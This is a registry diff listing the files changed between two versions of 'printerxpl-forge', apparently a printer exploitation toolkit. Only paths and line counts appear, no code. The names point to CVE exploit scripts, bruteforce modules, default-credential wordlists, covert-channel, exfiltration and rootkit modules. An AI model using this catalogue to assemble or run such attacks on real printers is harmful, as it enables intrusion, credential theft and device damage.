printerxpl-forge 6.2.2__tar.gz → 6.5.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/LICENSE +0 -0
- printerxpl_forge-6.5.2/MANIFEST.in +48 -0
- {printerxpl_forge-6.2.2/printerxpl_forge.egg-info → printerxpl_forge-6.5.2}/PKG-INFO +182 -98
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/README.md +147 -97
- printerxpl_forge-6.5.2/config.json.example +92 -0
- printerxpl_forge-6.5.2/diagrams/architecture_ascii_visual.mmd +83 -0
- printerxpl_forge-6.5.2/diagrams/architecture_layered.mmd +60 -0
- printerxpl_forge-6.5.2/diagrams/attack_matrix.drawio +96 -0
- printerxpl_forge-6.5.2/diagrams/command_flow.mmd +16 -0
- printerxpl_forge-6.5.2/diagrams/credential_flow.drawio +69 -0
- printerxpl_forge-6.5.2/diagrams/engines.mmd +18 -0
- printerxpl_forge-6.5.2/diagrams/mermaid-config.json +20 -0
- printerxpl_forge-6.5.2/diagrams/overview_for_dummies.mmd +30 -0
- printerxpl_forge-6.5.2/diagrams/printerxpl_forge_workflow.drawio +75 -0
- printerxpl_forge-6.5.2/diagrams/protocol_stack.mmd +14 -0
- printerxpl_forge-6.5.2/diagrams/security_testing_flow.mmd +8 -0
- printerxpl_forge-6.5.2/man/man1/printerxpl-forge.1 +283 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/README.md +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/__init__.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/install_nse.py +1 -1
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/lib/printerxpl.lua +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/cups-info.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/cups-queue-info.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/hp-printers-cve-2022-1026.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/http-device-mac.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/http-hp-ilo-info.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/http-info-xerox-enum.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/http-vuln-cve2022-1026.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/lexmark-config.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/pjl-ready-message.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-banner.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-cups-rce.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-cve-detect.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-discover.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-firmware-exposed.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-hp-pjl.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-http-ews.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-ipp-info.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-lexmark-ipp.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-passback.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-pjl-info.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-printnightmare.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-snmp-info.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/printer-vuln-check.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/snmp-device-mac.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/snmp-info.nse +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/nse/scripts/snmp-sysdescr.nse +0 -0
- printerxpl_forge-6.5.2/packages/man/printerxpl-forge.1 +283 -0
- printerxpl_forge-6.5.2/printerxpl_forge.egg-info/SOURCES.txt +573 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/pyproject.toml +53 -5
- printerxpl_forge-6.5.2/requirements.txt +62 -0
- printerxpl_forge-6.5.2/run.ps1 +15 -0
- printerxpl_forge-6.5.2/run.sh +14 -0
- printerxpl_forge-6.5.2/setup.cfg +14 -0
- printerxpl_forge-6.5.2/setup.py +13 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/gunplay.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/kshandwrt.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/laksoner.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/paintcans.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/stencilod.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/takecover.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/topsecret.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/fonts/whoa.pfa +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/mibs/HOST-RESOURCES-MIB +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/mibs/Printer-MIB +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/mibs/README.md +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/mibs/SNMPv2-MIB +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/overlays/hacker.eps +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/overlays/smiley.eps +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/assets/overlays/smiley2.eps +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/core/attack_orchestrator.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/core/capabilities.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/core/destructive_audit.py +3 -3
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/core/discovery.py +114 -11
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/core/osdetect.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/core/poly_runner.py +0 -0
- printerxpl_forge-6.5.2/src/core/pret_engine/pjl.py +280 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/core/printer.py +271 -54
- printerxpl_forge-6.5.2/src/data/cve_catalog.json +2635 -0
- printerxpl_forge-6.5.2/src/data/exploit_triage.json +520 -0
- printerxpl_forge-6.5.2/src/data/xpl_manifest.json +4944 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/main.py +315 -121
- printerxpl_forge-6.5.2/src/modules/acl.py +410 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/modules/install_printer.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/modules/login_bruteforce.py +508 -76
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/modules/pcl.py +4 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/modules/pjl.py +136 -40
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/modules/print_job.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/modules/ps.py +118 -3
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/payloads/__init__.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/payloads/assets/overlays/notice.eps +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/__init__.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/firmware.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/ipp.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/ipp_attacks.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/lpd.py +0 -0
- printerxpl_forge-6.5.2/src/protocols/lpd_fuzz.py +258 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/network_map.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/raw.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/smb.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/ssrf_pivot.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/protocols/storage.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/ui/__init__.py +0 -0
- printerxpl_forge-6.5.2/src/ui/banner.py +43 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/ui/interactive.py +33 -43
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/ui/spinner.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/ui/tables.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/banner_grabber.py +358 -94
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/codebook.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/config.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/cve_loader.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/default_creds.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/discovery_online.py +53 -10
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/exploit_manager.py +289 -19
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/fuzzer.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/helper.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/local_printers.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/ml_engine.py +0 -0
- printerxpl_forge-6.5.2/src/utils/module_profile.py +213 -0
- printerxpl_forge-6.5.2/src/utils/normalize.py +29 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/operators.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/ports.py +53 -3
- printerxpl_forge-6.5.2/src/utils/profile_cli.py +52 -0
- printerxpl_forge-6.5.2/src/utils/vendor_profile.py +140 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/vuln_scanner.py +56 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/utils/wordlist_loader.py +0 -0
- {printerxpl_forge-6.2.2 → printerxpl_forge-6.5.2}/src/version.py +3 -3
- printerxpl_forge-6.5.2/tests/test_acl.py +165 -0
- printerxpl_forge-6.5.2/tests/test_basic.py +34 -0
- printerxpl_forge-6.5.2/wordlists/README.txt +26 -0
- printerxpl_forge-6.5.2/wordlists/default_creds.txt +166 -0
- printerxpl_forge-6.5.2/wordlists/ftp_creds.txt +42 -0
- printerxpl_forge-6.5.2/wordlists/pjl_passwords.txt +26 -0
- printerxpl_forge-6.5.2/wordlists/printer_default_creds.txt +309 -0
- printerxpl_forge-6.5.2/wordlists/printer_models.txt +454 -0
- printerxpl_forge-6.5.2/wordlists/snmp_communities.txt +75 -0
- printerxpl_forge-6.5.2/xpl/__init__.py +0 -0
- printerxpl_forge-6.2.2/printerxpl_forge.egg-info/dependency_links.txt → printerxpl_forge-6.5.2/xpl/covert/__init__.py +1 -1
- printerxpl_forge-6.5.2/xpl/covert/turla_ipp_covert_channel.py +220 -0
- printerxpl_forge-6.5.2/xpl/covert/turla_pjl_covert_channel.py +268 -0
- printerxpl_forge-6.5.2/xpl/custom/TEMPLATE.py +94 -0
- printerxpl_forge-6.5.2/xpl/edb-15631/exploit.py +189 -0
- printerxpl_forge-6.5.2/xpl/edb-15631/metadata.json +34 -0
- printerxpl_forge-6.5.2/xpl/edb-17636/exploit.py +146 -0
- printerxpl_forge-6.5.2/xpl/edb-17636/metadata.json +27 -0
- printerxpl_forge-6.5.2/xpl/edb-20565/exploit.py +94 -0
- printerxpl_forge-6.5.2/xpl/edb-20565/metadata.json +27 -0
- printerxpl_forge-6.5.2/xpl/edb-22319/exploit.py +137 -0
- printerxpl_forge-6.5.2/xpl/edb-23147/exploit.py +177 -0
- printerxpl_forge-6.5.2/xpl/edb-35151/exploit.py +173 -0
- printerxpl_forge-6.5.2/xpl/edb-35151/metadata.json +28 -0
- printerxpl_forge-6.5.2/xpl/edb-36608/exploit.py +157 -0
- printerxpl_forge-6.5.2/xpl/edb-36913/exploit.py +152 -0
- printerxpl_forge-6.5.2/xpl/edb-37956/exploit.py +155 -0
- printerxpl_forge-6.5.2/xpl/edb-40909/exploit.py +161 -0
- printerxpl_forge-6.5.2/xpl/edb-41920/exploit.py +168 -0
- printerxpl_forge-6.5.2/xpl/edb-43178/exploit.py +154 -0
- printerxpl_forge-6.5.2/xpl/edb-45205/exploit.py +157 -0
- printerxpl_forge-6.5.2/xpl/edb-45273/exploit.py +217 -0
- printerxpl_forge-6.5.2/xpl/edb-45273/metadata.json +35 -0
- printerxpl_forge-6.5.2/xpl/edb-47812/exploit.py +74 -0
- printerxpl_forge-6.5.2/xpl/edb-47850/exploit.py +154 -0
- printerxpl_forge-6.5.2/xpl/edb-47850/metadata.json +28 -0
- printerxpl_forge-6.5.2/xpl/edb-49140/exploit.py +77 -0
- printerxpl_forge-6.5.2/xpl/edb-50078/exploit.py +76 -0
- printerxpl_forge-6.5.2/xpl/edb-50498/exploit.py +171 -0
- printerxpl_forge-6.5.2/xpl/edb-51191/exploit.py +73 -0
- printerxpl_forge-6.5.2/xpl/edb-51606/exploit.py +147 -0
- printerxpl_forge-6.5.2/xpl/edb-51755/exploit.py +208 -0
- printerxpl_forge-6.5.2/xpl/edb-51928/exploit.py +177 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2011-4065/exploit.py +122 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2011-4065/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2016-11061/exploit.py +126 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2016-11061/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2017-2741/exploit.py +122 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2018-5924/exploit.py +186 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2019-14308/exploit.py +180 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2019-14308/metadata.json +34 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2020-1337/exploit.py +80 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2021-3441/exploit.py +169 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2021-3441/metadata.json +29 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2022-1026/exploit.py +233 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2022-24673/exploit.py +92 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2023-26067/exploit.py +132 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2023-3710/exploit.py +132 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2023-3710/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2023-50733/exploit.py +82 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2023-50739/exploit.py +104 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2024-47176/exploit.py +226 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2024-51977/exploit.py +214 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2024-51978/exploit.py +335 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2024-51978/metadata.json +20 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2024-6333/exploit.py +195 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2025-26506/exploit.py +91 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2025-26508/exploit.py +222 -0
- printerxpl_forge-6.5.2/xpl/edb-cve-2025-26508/metadata.json +36 -0
- printerxpl_forge-6.5.2/xpl/embedxpl_compat/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/embedxpl_compat/printers/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/embedxpl_compat/printers/brother/__init__.py +0 -0
- printerxpl_forge-6.2.2/printerxpl_forge.egg-info/not-zip-safe → printerxpl_forge-6.5.2/xpl/exploits/brother/__init__.py +1 -1
- printerxpl_forge-6.5.2/xpl/exploits/brother/brother_chain_unauth_rce.py +171 -0
- printerxpl_forge-6.5.2/xpl/exploits/brother/brother_msf_bridge.py +178 -0
- printerxpl_forge-6.5.2/xpl/exploits/brother/cve_2024_51977_serial_leak.py +214 -0
- printerxpl_forge-6.5.2/xpl/exploits/brother/cve_2024_51978_auth_bypass.py +263 -0
- printerxpl_forge-6.5.2/xpl/exploits/brother/cve_2024_51979_stack_bof_rce.py +195 -0
- printerxpl_forge-6.5.2/xpl/exploits/brother/cve_2024_51980_51981_ssrf.py +196 -0
- printerxpl_forge-6.5.2/xpl/exploits/brother/cve_2024_51982_51983_dos.py +169 -0
- printerxpl_forge-6.5.2/xpl/exploits/brother/cve_2024_51984_credential_passback.py +193 -0
- printerxpl_forge-6.5.2/xpl/exploits/canon/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/canon/canon_mfp_wsd_bof_rce_cve_2025_14231.py +208 -0
- printerxpl_forge-6.5.2/xpl/exploits/epson/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/epson/epson_l14150_raw_bof_cve_2026_39047.py +215 -0
- printerxpl_forge-6.5.2/xpl/exploits/hp/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/hp/hp_futuresmart_signature_bypass_rce_cve_2019_6334.py +157 -0
- printerxpl_forge-6.5.2/xpl/exploits/hp/hp_jetdirect_path_traversal.py +234 -0
- printerxpl_forge-6.5.2/xpl/exploits/hp/hp_print_llmnr_bof_rce_cve_2021_3942.py +185 -0
- printerxpl_forge-6.5.2/xpl/exploits/lpd/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/lpd/lpd_shell_injection_rfc1179.py +205 -0
- printerxpl_forge-6.5.2/xpl/exploits/papercut/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/papercut/papercut_cve_2023_27350_auth_bypass_rce.py +225 -0
- printerxpl_forge-6.5.2/xpl/exploits/ricoh/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/ricoh/cve_2023_50733_ssrf.py +109 -0
- printerxpl_forge-6.5.2/xpl/exploits/windows_spooler/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/windows_spooler/print_nightmare_cve_2021_1675_34527.py +201 -0
- printerxpl_forge-6.5.2/xpl/exploits/xerox/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/exploits/xerox/xerox_versalink_auth_rce_cve_2024_6333.py +260 -0
- printerxpl_forge-6.5.2/xpl/index.json +3698 -0
- printerxpl_forge-6.5.2/xpl/ipp/__init__.py +1 -0
- printerxpl_forge-6.5.2/xpl/ipp/ipp_cups_document_uri_traversal.py +227 -0
- printerxpl_forge-6.5.2/xpl/ipp/ipp_get_printer_attrs_info_leak.py +206 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-hp-web-jetadmin-rce/exploit.py +160 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-ipp-printer-check/exploit.py +220 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-printer-dir-list/exploit.py +169 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-printer-env-vars/exploit.py +158 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-printer-file-download/exploit.py +174 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-printer-file-upload/exploit.py +163 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-printer-info/exploit.py +119 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-ricoh-loginout-dos/exploit.py +191 -0
- printerxpl_forge-6.5.2/xpl/msf/msf-snmp-printer-enum/exploit.py +202 -0
- printerxpl_forge-6.5.2/xpl/msf-brother-default-auth-bypass/exploit.py +71 -0
- printerxpl_forge-6.5.2/xpl/msf-canon-driver-privesc/exploit.py +61 -0
- printerxpl_forge-6.5.2/xpl/msf-canon-wireless-dos/exploit.py +63 -0
- printerxpl_forge-6.5.2/xpl/msf-cups-ipp-rce/exploit.py +64 -0
- printerxpl_forge-6.5.2/xpl/msf-cve-2020-1048-printerdemon/exploit.py +69 -0
- printerxpl_forge-6.5.2/xpl/msf-hp-jetdirect-path-traversal/exploit.py +112 -0
- printerxpl_forge-6.5.2/xpl/msf-hp-pjl-scan/exploit.py +85 -0
- printerxpl_forge-6.5.2/xpl/msf-lexmark-cred-dump/exploit.py +70 -0
- printerxpl_forge-6.5.2/xpl/msf-printer-to-pdf/exploit.py +111 -0
- printerxpl_forge-6.5.2/xpl/msf-printjob-capture/exploit.py +64 -0
- printerxpl_forge-6.5.2/xpl/msf-ricoh-driver-privesc/exploit.py +60 -0
- printerxpl_forge-6.5.2/xpl/msf-snmp-hp-laserjet/exploit.py +65 -0
- printerxpl_forge-6.5.2/xpl/msf-spoolfool-privesc/exploit.py +64 -0
- printerxpl_forge-6.5.2/xpl/research/research-bizhub-user-extract/exploit.py +147 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-fw-upload/exploit.py +90 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-nvram/exploit.py +126 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-passback/exploit.py +115 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-passback/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-serial-pwd/exploit.py +177 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-stack-bof-51979/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-stack-bof-51979/metadata.json +54 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-vuln-enum/exploit.py +192 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-dos/exploit.py +110 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-dos/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-dos-51981/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-dos-51981/metadata.json +50 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-info-51982/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-info-51982/metadata.json +50 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-ssrf/exploit.py +137 -0
- printerxpl_forge-6.5.2/xpl/research/research-brother-wsd-ssrf/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-ldif-extract/exploit.py +191 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-pcl-bof/exploit.py +127 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-pixma-fw/exploit.py +125 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-ps-bof/exploit.py +124 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-remote-mgmt-2026-1789/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-remote-mgmt-2026-1789/metadata.json +43 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-xps-bof-2025b/exploit.py +157 -0
- printerxpl_forge-6.5.2/xpl/research/research-canon-xps-bof-2025b/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-2025-58060/exploit.py +136 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-2025-58060/metadata.json +44 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-2025-58364/exploit.py +136 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-2025-58364/metadata.json +44 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-chain-2026/exploit.py +148 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-chain-2026-34980/exploit.py +128 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-chain-2026-34980/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-nofaxgiven/exploit.py +215 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-chain/exploit.py +134 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-chain/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-stage1/exploit.py +145 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-stage1/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-stage2/exploit.py +133 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-stage2/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-stage3/exploit.py +129 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-pwn2own-2026-stage3/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-cups-root-2026/exploit.py +73 -0
- printerxpl_forge-6.5.2/xpl/research/research-cve-2024-51982/exploit.py +204 -0
- printerxpl_forge-6.5.2/xpl/research/research-dell-b5460-enum/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-dell-b5460-enum/exploit.py +150 -0
- printerxpl_forge-6.5.2/xpl/research/research-dell-mfp-enum/exploit.py +122 -0
- printerxpl_forge-6.5.2/xpl/research/research-epson-connect-cloud/exploit.py +180 -0
- printerxpl_forge-6.5.2/xpl/research/research-epson-fw-unsigned/exploit.py +84 -0
- printerxpl_forge-6.5.2/xpl/research/research-epson-lpd-unauth/exploit.py +220 -0
- printerxpl_forge-6.5.2/xpl/research/research-epson-noauth-disclosure/exploit.py +195 -0
- printerxpl_forge-6.5.2/xpl/research/research-fax-config-exfil/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-fax-config-exfil/exploit.py +154 -0
- printerxpl_forge-6.5.2/xpl/research/research-fax-dll-inject/exploit.py +197 -0
- printerxpl_forge-6.5.2/xpl/research/research-ftp-printer-grab/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-ftp-printer-grab/exploit.py +143 -0
- printerxpl_forge-6.5.2/xpl/research/research-fuser-thermal-attack/exploit.py +327 -0
- printerxpl_forge-6.5.2/xpl/research/research-generic-pjl-nvram/exploit.py +179 -0
- printerxpl_forge-6.5.2/xpl/research/research-gooseegg-spooler/exploit.py +82 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-bof-series-2022/exploit.py +178 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-bof-series-2022/metadata.json +30 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-disk-access/exploit.py +79 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-disk-access/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-efi-rootkit/exploit.py +65 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-efi-rootkit/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-ews-ssrf-2024-4479/exploit.py +121 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-ews-ssrf-2024-4479/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-futuresmart-leak/exploit.py +100 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-fw-auth-bypass-2023-6018/exploit.py +153 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-fw-auth-bypass-2023-6018/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-fw-bypass/exploit.py +110 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-fw-extract/exploit.py +293 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-mfp-bof-2021-39237/exploit.py +116 -0
